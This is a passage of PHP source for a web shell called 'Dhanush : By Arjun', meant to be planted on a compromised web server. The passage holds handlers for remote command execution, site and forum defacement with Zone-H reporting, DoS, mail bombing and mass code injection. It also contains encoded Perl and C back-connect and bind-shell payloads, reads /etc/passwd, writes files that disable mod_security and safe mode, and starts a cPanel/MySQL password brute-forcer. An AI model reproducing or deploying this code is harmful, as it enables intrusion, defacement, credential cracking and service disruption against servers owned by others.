	ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"="+myaction+"&dir="+dir, true);
	ajaxRequest.send(null); 
}
function manuallyscriptfn(sctype,passwd)
{
	var message = encodeURIComponent(passwd);
	var params = sctype+"="+sctype+"&passwd="+passwd;
	document.getElementById("showdata").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 3)
		{
			document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
		}
	}
	
	ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
	ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
	ajaxRequest.send(params);
}
function my404page(message)
{
	var message = encodeURIComponent(message);
	var params = "404page=404page&message="+message;
	document.getElementById("showdata").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
		}
	}
	
	ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
	ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
	ajaxRequest.send(params);
}
function executemyfn(executepath,executemycmd)
{
	var ajaxRequest,app;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			app = "$ " + executemycmd + " : " + ajaxRequest.responseText + "
";
			document.getElementById("showexecute").innerHTML=app+document.getElementById("showexecute").innerHTML;
		}
	}
		
	ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?executepath="+executepath+"&executemycmd="+executemycmd, true);
	ajaxRequest.send(null); 
}
function zoneh(defacer,hackmode,reason,domain)
{
	var domain = encodeURIComponent(domain);
	var params = "SendNowToZoneH=SendNowToZoneH&defacer="+defacer+"&hackmode="+hackmode+"&reason="+reason+"&domain="+domain;
	document.getElementById("showzone").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("showzone").innerHTML=ajaxRequest.responseText;
		}
	}
	
	ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
	ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
	ajaxRequest.send(params);
}
function savemyfile(file,content)
{
	var content = encodeURIComponent(content);
	var params = "content="+content+"&file="+file;
	document.getElementById("showmydata").innerHTML=waitstate;
	document.getElementById("showdir").innerHTML="";
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
		}
	}
	
	ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
	ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
	ajaxRequest.send(params);
}
function renamefun(file,to)
{
	document.getElementById("showmydata").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
		}
	}
		
	ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?renamemyfile&file="+file+"&to="+to, true);
	ajaxRequest.send(null); 
}
function changeperms(chmode,myfilename)
{
	document.getElementById("showmydata").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
		}
	}
		
	ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?chmode="+chmode+"&myfilename="+myfilename, true);
	ajaxRequest.send(null); 
}
function defacefun(deface)
{
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			alert(ajaxRequest.responseText);
		}
	}
		
	ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?deface="+deface, true);
	ajaxRequest.send(null); 
}
function cancel()
{
	document.getElementById("showmydata").className = "";
	document.getElementById("showmydata").innerHTML=\'\';
}
function fileaction(myaction,myfilepath)
{
	document.getElementById("showmydata").className = "fixedbox";
	document.getElementById("showmydata").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
		}
	}
		
	ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"&myfilepath="+myfilepath, true);
	ajaxRequest.send(null); 
}
function bypassfun(funct,functvalue,optiontype)
{
	document.getElementById("showmydata").className = "fixedbox";
	document.getElementById("showmydata").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
		}
	}
		
	ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?bypassit&"+funct+"="+functvalue+"&optiontype="+optiontype, true);
	ajaxRequest.send(null); 
}
function dos(target,ip,port,timeout,exTime,no0fBytes,multiplier)
{
	document.getElementById("showdos").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("showdos").innerHTML=ajaxRequest.responseText;
		}
	}
		
	ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+target+"&ip="+ip+"&port="+port+"&timeout="+timeout+"&exTime="+exTime+"&multiplier="+multiplier+"&no0fBytes="+no0fBytes, true);
	ajaxRequest.send(null); 
}
function createfile(filecreator,filecontent)
{
	var mm = filecreator.slice(0, filecreator.lastIndexOf("<?php echo addslashes($directorysperator); ?>"));
	var filecontent = encodeURIComponent(filecontent);
	var params = "filecontent="+filecontent+"&filecreator="+filecreator;
	document.getElementById("showdir").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			gethome(\'home\',mm);
			document.getElementById("showdir").innerHTML=ajaxRequest.responseText;
			document.getElementById("showmydata").innerHTML="";
		}
	}
	
	ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
	ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
	ajaxRequest.send(params);
}
function createdir(create,createfolder)
{
	document.getElementById("showmydata").className = "fixedbox";
	document.getElementById("showmydata").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
		}
	}
		
	ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+create+"="+createfolder, true);
	ajaxRequest.send(null); 
}
function codeinsert(code)
{
	var code = encodeURIComponent(code);
	var params = "getcode="+code;
	document.getElementById("showcode").innerHTML=waitstate;
	var ajaxRequest;

	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("showcode").innerHTML=ajaxRequest.responseText;
		}
	}
	
	ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
	ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
	ajaxRequest.send(params);
}
function getmydefacedata(mydata)
{
	document.getElementById("showmydeface").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("showmydeface").innerHTML=ajaxRequest.responseText;
		}
	}
		
	ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+mydata, true);
	ajaxRequest.send(null); 
}
function getmydata(mydata)
{
	document.getElementById("showmydata").className = "fixedbox";
	document.getElementById("showmydata").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
		}
	}
		
	ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+mydata, true);
	ajaxRequest.send(null); 
}
function getdata(mydata,myfile)
{
	document.getElementById("showdata").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 3)
		{
			document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
		}
	}
	
	ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+mydata+"&myfile="+myfile, true);
	ajaxRequest.send(null); 
}
function getport(host,protocol,start,end)
{
	document.getElementById("showports").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("showports").innerHTML=ajaxRequest.responseText;
		}
	}
		
	ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?host=" + host + "&protocol=" + protocol, true);
	ajaxRequest.send(null); 
}
function changeforumpassword(forumpass,f1,f2,f3,f4,forums,tableprefix,ipbuid,newipbpass,username,newjoomlapass,uname,newpass)
{
	document.getElementById("showchangepass").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("showchangepass").innerHTML=ajaxRequest.responseText;
		}
	}
		
	ajaxRequest.open("GET", "<?php echo $_SERVER[\'PHP_SELF\']; ?>?forumpass&f1=" + f1 + "&f2=" + f2 + "&f3=" + f3 + "&f4=" + f4 + "&forums=" + forums + "&prefix=" + tableprefix + "&ipbuid=" + ipbuid + "&newipbpass=" + newipbpass + "&username=" + username + "&newjoomlapass=" + newjoomlapass + "&uname=" + uname + "&newpass=" + newpass, true);
	ajaxRequest.send(null); 
}
function forumdefacefn(index,f1,f2,f3,f4,defaceforum,tableprefix,siteurl,head,f5)
{
	var index = encodeURIComponent(index);
	var params = "forumdeface="+defaceforum+"&index=" + index + "&f1=" + f1 + "&f2=" + f2 + "&f3=" + f3 + "&f4=" + f4 + "&tableprefix="+tableprefix+"&siteurl="+siteurl+"&head="+head+"&f5="+f5;
	document.getElementById("showdeface").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("showdeface").innerHTML=ajaxRequest.responseText;
		}
	}
	
	ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
	ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
	ajaxRequest.send(params);
}
function codeinjector(pathtomass,mode,filetype,injectthis)
{
	var injectthis = encodeURIComponent(injectthis);
	var params = "pathtomass="+pathtomass+"&mode=" + mode + "&filetype=" + filetype + "&injectthis=" + injectthis;
	document.getElementById("showinject").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 3)
		{
			document.getElementById("showinject").innerHTML=ajaxRequest.responseText;
		}
	}
	
	ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
	ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
	ajaxRequest.send(params);
}
function sendmail(mailfunction,to,subject,message,from,times,padding)
{
	var message = encodeURIComponent(message);
	if(mailfunction == "massmailing")
		var params = "mailfunction="+mailfunction+"&to="+to+"&subject="+subject+"&from=" + from + "&message=" + message;
	else if(mailfunction == "dobombing")
		var params = "mailfunction="+mailfunction+"&to="+to+"&subject="+subject+"&times=" + times + "&padding=" + padding + "&message=" + message;
	document.getElementById("showmail").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("showmail").innerHTML=ajaxRequest.responseText;
		}
	}
	
	ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
	ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
	ajaxRequest.send(params);
}
function execode(code)
{
	var intext = document.getElementById(\'intext\').checked;
	var message = encodeURIComponent(message);
	var params = "code="+code+"&intext="+intext;
	document.getElementById("showresult").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("showresult").innerHTML=ajaxRequest.responseText;
		}
	}
	
	ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
	ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
	ajaxRequest.send(params);
}
function malwarefun(malwork)
{
	var malpath = document.getElementById(\'createfile\').value;
	document.getElementById("showmal").innerHTML="<center><marquee scrollamount=4 width=150>Wait....</marquee></center>";
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("showmal").innerHTML=ajaxRequest.responseText;
		}
	}
		
	ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+malwork+"&path="+malpath, true);
	ajaxRequest.send(null); 
}
function getexploit(wurl,path,functiontype)
{
	document.getElementById("showexp").innerHTML=waitstate;
	var ajaxRequest;
	ajaxRequest = new XMLHttpRequest();
	
	ajaxRequest.onreadystatechange = function()
	{
		if(ajaxRequest.readyState == 4)
		{
			document.getElementById("showexp").innerHTML=ajaxRequest.responseText;
		}
	}
		
	ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?uploadurl&wurl="+wurl+"&functiontype="+functiontype+"&path="+path, true);
	ajaxRequest.send(null); 
}
function showMsg(msg)
{
	if(msg == \'smf\')
	{
		document.getElementById(\'tableprefix\').value="smf_";
		document.getElementById(\'fid\').style.display=\'block\';
		document.getElementById(\'wpress\').style.display=\'none\';
		document.getElementById(\'joomla\').style.display=\'none\';
	}
	if(msg == \'mybb\')
	{
		document.getElementById(\'tableprefix\').value="mybb_";
		document.getElementById(\'wpress\').style.display=\'none\';
		document.getElementById(\'joomla\').style.display=\'none\';
		document.getElementById(\'fid\').style.display=\'block\';
	}
	if(msg == \'ipb\' || msg == \'vb\')
	{
		document.getElementById(\'tableprefix\').value="";
		document.getElementById(\'wpress\').style.display=\'none\';
		document.getElementById(\'joomla\').style.display=\'none\';
		document.getElementById(\'fid\').style.display=\'block\';
	}
	if(msg == \'wp\')
	{
		document.getElementById(\'tableprefix\').value="wp_";
		document.getElementById(\'wpress\').style.display=\'block\';
		document.getElementById(\'fid\').style.display=\'none\';
		document.getElementById(\'joomla\').style.display=\'none\';
	}
	if(msg == \'joomla\')
	{
		document.getElementById(\'joomla\').style.display=\'block\';
		document.getElementById(\'tableprefix\').value="jos_";
		document.getElementById(\'wpress\').style.display=\'none\';
		document.getElementById(\'fid\').style.display=\'none\';
	}
}
function checkforum(msg)
{
	if(msg == \'smf\')
	{
		document.getElementById(\'tableprefix\').value="smf_";
		document.getElementById(\'smfipb\').style.display=\'block\';
		document.getElementById(\'myjoomla\').style.display=\'none\';
		
	}
	if(msg == \'phpbb\')
	{	
		document.getElementById(\'tableprefix\').value="phpb_";
		document.getElementById(\'myjoomla\').style.display=\'none\';
		document.getElementById(\'smfipb\').style.display=\'block\';
		
	}
	if(msg == \'mybb\')
	{
		document.getElementById(\'tableprefix\').value="mybb_";
		document.getElementById(\'myjoomla\').style.display=\'none\';
		document.getElementById(\'smfipb\').style.display=\'none\';
	}
	if(msg == \'vb\')
	{
		document.getElementById(\'tableprefix\').value="";
		document.getElementById(\'myjoomla\').style.display=\'none\';
		document.getElementById(\'smfipb\').style.display=\'none\';
	}
	if(msg == \'ipb\')
	{
		document.getElementById(\'myjoomla\').style.display=\'none\';
		document.getElementById(\'smfipb\').style.display=\'block\';
		document.getElementById(\'tableprefix\').value="";
	}
	if(msg == \'wp\')
	{
		document.getElementById(\'tableprefix\').value="wp_";
		document.getElementById(\'myjoomla\').style.display=\'block\';
		document.getElementById(\'smfipb\').style.display=\'none\';
		document.getElementById(\'siteurl\').value="http://site/blog";
	}
	if(msg == \'joomla\')
	{
		document.getElementById(\'myjoomla\').style.display=\'block\';
		document.getElementById(\'tableprefix\').value="jos_";
		document.getElementById(\'smfipb\').style.display=\'none\';
		document.getElementById(\'siteurl\').value="http://site/administrator/";
	}
}
</script>
<body>
<?php
	
$back_connect_p="eNqlU01PwzAMvVfqfwjlkkpd94HEAZTDGENCCJC2cRrT1DUZCWvjqk5A/fcs3Rgg1gk0XxLnPT/bsnN60rZYthdKt4vKSNC+53sqL6A0BCuMCEK6EiYi4O52UZSQCkTHkoCGMMeKk/Llbdqd+V4dx4jShu7ee7PQ0TdCMQrDxTKxmTEqF2ANPe/U+LtUmSDdC98ja0NYOe1tTH3Qrde/md8+DCfR1h0/Du7m48lo2L8Pd7FxClqL1FDqqoxcWeE3FIXmNGBH2LMOfum1mu1aJtqibCY4vcs/Cg6AC06uKtIvX63+j+CxHe+pkLFxhUbkSi+BsU3eDQsw5rboUcdermergYZR5xDYPQT2DoFnn8OQIsvc4uw2NU6TLKPTwOokF0EUtJJgFu5r4wlFSRT/2UOznuJfOo2k+l+hdGnVmv4Bmanx6Q==";

$backconnect_perl="eNqlUl9rwjAQfxf8Drcqa4UWt1dLZU7rJmN2tNWXTUps45qtJiVNGf32S9pOcSAI3kNI7vcnd9z1boZlwYdbQoc55llZYFh4o1HA4m8s7G6n2+kXVSHwHmQ4oNfMLSpSXYL9if80dR7kuZYvpW110LzmJMPPiCYZVplup6hRI/CmL25owts8WizVRSWiIPTdyasJn1jknAm2rSjaY0MXca4PBtI/ZpTi+ChXbihJeESooSpZv99vTCAUiwgJ9pe72wykuv6+EVpjVAq2k62mRg2wHFMjCGeLpQna+LZhaSeQtwrNM5Dr+/+hnBMqQHOuiA+q2Qcj63zMUkRlI+cJlxhNWYITeKxgwr9KeonRda01Vs1aGRqOUwaW5ThBnSB0xxzHsmwo1fzBQjYoin3grQrMjyyS2KfwjHC5JYxXDZ7/tAQ4fpTiLFMoqHm1dbRrrhat53rzX0SL2FA=";

$bind_port_c="bZJRT9swEIDfK/U/eEVa7WJK0mkPrMukaoCEpnUT8DKVKjK2Q05LbMt2KGzw3+ekKQ0Zfkn83efL3TkHoHhRCYk+Oy9AT/Mvw8FBh1lQdz1YKQhuDyrpxe1/p0UBWwjKo5KBwvULs3ecIp4ziyaTsLkn6O9wgMKqo45yCvPtvnHM6kO0bkEoqOLB0fw3E8KmoJBtQ4LJUisc04jsZJQ0pvR4cZ5eLM+u6dWPr9/Sq+vLs8X3vQcZfucIstJXVqGjuMV26kClGSuheAyZ2hSvgkZbH0K518ph5jXgup1VvCbklVfXOnXNo9ULfLFcnJ5epovlr517C0pgRxHudYkm5L2lKHqIX0ouwhVIVcsfd2iTQyFx/DLLZn4J41waH8Ro328zrcrMMH+TxW+wWZdtLHgZ4Ognc26jrfg0oiddwUomQtxQB3+kzrAh3WimLYYkmkP9exWhC0PmcHhI9kZ7KQibFaxRkqDxjRoT9PTUJTaQ3pl6bYUQj8adb0LWTJWXZntDszU1pM4T9VK4xzDYEo+Ow2UcuxwdwahbOy+0C63v0PNw8PwP";

$bind_port_p="bZFvS8NADMZft9DvkNUxW6hsw5f+wbJVHc5WelUQldK1mTucd6W94cTtu3tpN1DxXS753ZMnyUGnv6qr/oyLfonV0jK77DqYTs/sJlUv4IjbJ5bJ5+Bc+PHVA5zC0IUvwDVXztA9ga1lrmoEJvM3VJqsm8BhXu/uMp2EQeL1WDS6SVkSB/6t94qqrKSSs0+RvaNzqPLy0HVhs4GCI9ijTCjIK8wUQqv0LKh/jYqesiRlFk1T0tTaLErj4J4F/ngce9qOZWrbhWaIzoqiSrlwumT8afDiTULiUj98/NtSliiglNWu3ZLXCoWWOf7DtYUf5MeCL9GhlVimkeU5aoejKAw9RmYMPnc6TrfkxdlcVm9uixl7PSEVUN4G2m+nwDkXWADxzW+jscWS8ST07NMe6dq/8tF94tnn/xSCOP5dwDXm0N52P1FZcT0RIbvhiFnpxbdYO59h5Eup70vYTogrGFCoL7/9Bg==";

echo $shellstyle;
?>
<table style="width:100%;">
<tr align="right">
<td><a href="<?php echo $self;?>"><font size="6" style="text-decoration:none;" face="Times New Roman, Times, serif">Dhanush : By Arjun </font></a>
</td><td align="right">
<form method="get">
<select id="style" class="sbox" onChange="change_style(this.value)">
<option selected="selected">--Style--</option>
<option value="dhanush">Dhanush</option>
<option value="404">404</option>
<option value="phizo">Phizo</option>
<option value="orange">Orange</option>
</select>
</form></td>
</tr></table>
<hr color="#1B1B1B">
	
<table cellpadding="0" style="width:100%;">
	<tr>
		<td colspan="2" style="width:85%;">System Info : <font class="txt"><?php systeminfo(); ?></font></td>
		<td style="width:7%;">Server Port : <font class="txt"><?php serverport(); ?></font></td>	
		<td style="width:8%;"><a href=# onClick="maindata(\'com\')"><font class="txt"><i>Software Info</i></font></a></td>
	</tr>
	<?php if($os != \'Windows\' || shell_exec("id") != null) { ?><tr>
		<td style="width:85%;" colspan="2">Uid : <font class="txt"><?php if(shell_exec("id")){echo shell_exec("id");}else{echo "user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid();} ?></font></td>
		<?php $d0mains = @file("/etc/named.conf");
			$users=@file(\'/etc/passwd\');
        if($d0mains)
        { 
			$count;  
			foreach($d0mains as $d0main)
			{
				if(@ereg("zone",$d0main))
				{
					preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
					flush();
					if(strlen(trim($domains[1][0])) > 2)
					{
						flush();
						$count++;
			   		} 
			   	}
			}
		?><td style="width:7%;">Websites : <font class="txt"><?php echo "$count  Domains"; ?></font></td><?php
		}
		else if($users) 
		{
			$file = fopen("/etc/passwd", "r");
			while(!feof($file))
			{
				$s = fgets($file);
				$matches = array();
				$t = preg_match(\'/\/(.*?)\:\//s\', $s, $matches);
				$matches = str_replace("home/","",$matches[1]);
				if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
				continue;
				$count++;
			}
		 ?><td style="width:7%;">Websites : <font class="txt"><?php echo "$count  Domains"; ?></font></td><?php } ?>
		<?php if($os == "Linux") { ?><td style="width:8%;vertical-align:text-top;"><a href="<?php echo $self.\'?downloadit\'?>">Download It</a></td><?php } ?>
	</tr><?php } ?>
	<tr>
		<td style="width:20%;">Free Space : <font class="txt"><?php echo HumanReadableFilesize(freeSpace()); $dksp = diskSpace(); $frsp = freeSpace();  ?> of <?php echo HumanReadableFilesize(diskSpace()); echo " (".(int)($frsp/$dksp*100)."%)"; ?></font></td>
		<td style="width:20%;vertical-align:text-top;">Safe Mode : <font class=txt><?php echo safe(); ?></font></td>
		
		<td style="width:20%;">Server IP : <font class="txt"><a href="http://whois.domaintools.com/<?php serverip(); ?>"><?php serverip(); ?></a></font></td>
		<td style="width:15%;">Your IP : <font class="txt"><a href="http://whois.domaintools.com/<?php yourip(); ?>"><?php yourip(); ?></a></font></td>
	</tr>
	
	<tr>
		<?php if($os == \'Windows\'){ ?><td style="width:15%;vertical-align:text-top;">View Directories : <font class="txt"><?php echo showDrives();?></font></td><?php } ?>
		<td style="width:30%;vertical-align:text-top;">Current Directory : <span id="crdir"><font color="#009900">
		<?php 
	$d = str_replace("\",$directorysperator,$dir);
	if (substr($d,-1) != $directorysperator) {$d .= $directorysperator;}
	$d = str_replace("\\","\",$d);
	$dispd = htmlspecialchars($d);
	$pd = $e = explode($directorysperator,substr($d,0,-1));
	$i = 0;
	foreach($pd as $b)
	{
	 $t = \'\';
	 $j = 0;
	 foreach ($e as $r)
	 {
	  $t.= $r.$directorysperator;
	  if ($j == $i) {break;}
	  $j++;
	 }
$href=addslashes($t);
	
	 echo "<a href=javascript:void(0) onClick=\"changedir(\'dir\',\'$href\')\"><b><font class=\"txt\">".htmlspecialchars($b).$directorysperator.\'</font></b></a>\';
	 $i++;
	}

		?>
		</font></span> <a href=# onClick="gethome(\'home\',\'<?php echo addslashes(getcwd()); ?>\')">[Home]</a></td>
		<td colspan="3" style="width:20%;max-width:200px;word-break:break-all;">Disable functions : <font class="txt"><?php echo getDisabledFunctions(); ?> </font></td>
	</tr>
	</table>
	
<?php $m1 = array(\'Symlink\'=>\'symlinkserver\',\'Forum\'=>\'forum\',\'Sec. Info\'=>\'secinfo\',\'Code Inject\'=>\'injector\',\'Bypassers\'=>\'bypass\',\'Server Fuzzer\'=>\'fuzz\',\'Zone-h\'=>\'zone\',\'DoS\'=>\'dos\',\'Mail\'=>\'mailbomb\',\'Tools\'=>\'tools\',\'PHP\'=>\'phpc\',\'Exploit\'=>\'exploit\',\'Connect\'=>\'connect\');
	$m2 = array(\'SQL\'=>\'database\',\'Sub-Domain Creator\'=>\'subdomain\',\'404 Page\'=>\'404\',\'Malware Attack\'=>\'malattack\',\'Cpanel Cracker\'=>\'cpanel\',\'About\'=>\'about\');
	echo "<table border=3 style=border-color:#333333; width=100%; cellpadding=2>
	<tr>";
	$menu = \'\';

	foreach($m1 as $k => $v)
		$menu .= "<td style=\"border:none;\"><a href=# onClick=\"maindata(\'".$v."\')\"><font class=\"mainmenu\">[".$k."]</font></a></td>";
		echo $menu;
		echo "</tr>
</table>
<center>
<table style=\"border-color:#333333;\" border=2 width=70%; cellpadding=2>
	<tr align=center>";
	foreach($m2 as $k => $v)
		$menu1 .= "<td style=\"border:none;\"><a href=# onClick=\"maindata(\'".$v."\',\'".addslashes($_GET[\'dir\'])."\')\"><font class=\"mainmenu\">[".$k."]</font></a></td>";
		echo $menu1;
		echo "<td style=\"border:none;\"><a href=javascript:void(0) onClick=\"if(confirm(\'Are You Sure You Want To Kill This Shell ?\')){getmydata(\'selfkill\');}else{return false;}\"><font class=mainmenu>[SelfKill]</font></a></td>
		<td style=\"border:none;\"><a href=\"$self?logout\"><font class=mainmenu>[LogOut]</font></a></td>
	</tr>
</table></center>";?>

<div id="showmaindata"></div>
<center><div id="showmydata"></div></center>
<?php

if(isset($_GET["downloadit"]))
{
	$FolderToCompress = getcwd(); 
	execmd("tar --create --recursion --file=backup.tar $FolderToCompress"); 
	
	$prd=explode("/","backup.tar");
	for($i=0;$i<sizeof($prd);$i++)
	{
		$nfd=$prd[$i];
	}
	@ob_clean(); 
   header("Content-type: application/octet-stream"); 
   header("Content-length: ".filesize($nfd)); 
   header("Content-disposition: attachment; filename=\"".$nfd."\";"); 
   readfile($nfd);
   exit;	
}
//Turn Safe Mode Off
if(getDisabledFunctions() != "None" || safe() != "OFF")
{
   	$file_pointer = fopen(".htaccess", "w+");
	fwrite($file_pointer, "<IfModule mod_security.c>
    				SecFilterEngine Off
   					 SecFilterScanPOST Off
					</IfModule> 

"); 
			
	$file_pointer = fopen("ini.php", "w+");
	fwrite($file_pointer, "<?
echo ini_get(\"safe_mode\");
echo ini_get(\"open_basedir\");
include(\$_GET[\"file\"]);
ini_restore(\"safe_mode\");
ini_restore(\"open_basedir\");
echo ini_get(\"safe_mode\");
echo ini_get(\"open_basedir\");
include(\$_GET[\"ss\"]);
?>"); 

		$file_pointer = fopen("php.ini", "w+");
		fwrite($file_pointer, "safe_mode               =       Off"); 
					
		fclose($file_pointer); 
		
    }
	
if(isset($_POST[\'cpanelattack\']))
{
	if(!empty($_POST[\'username\']) && !empty($_POST[\'password\']))
	{
		$userlist=explode("
",$_POST[\'username\']);
		$passlist=explode("
",$_POST[\'password\']);
	
		$e = explode("
",$_POST[\'username\']);
        foreach($e as $value)
		{
			$k = explode(":",$value);
			$username .= $k[\'0\']." ";
        }
    
		$a1 = explode(" ",$username);
		$a2 = explode("
",$_POST[\'password\']);
		$id2 = count($a2);
		$ok = 0;
		foreach($a1 as $user)

		{
			if($user !== \'\')
			{
				$user=trim($user);
				for($i=0;$i<=$id2;$i++)
				{
					$pass = trim($a2[$i]);
					if(@mysql_connect(\'localhost\',$user,$pass))
					{
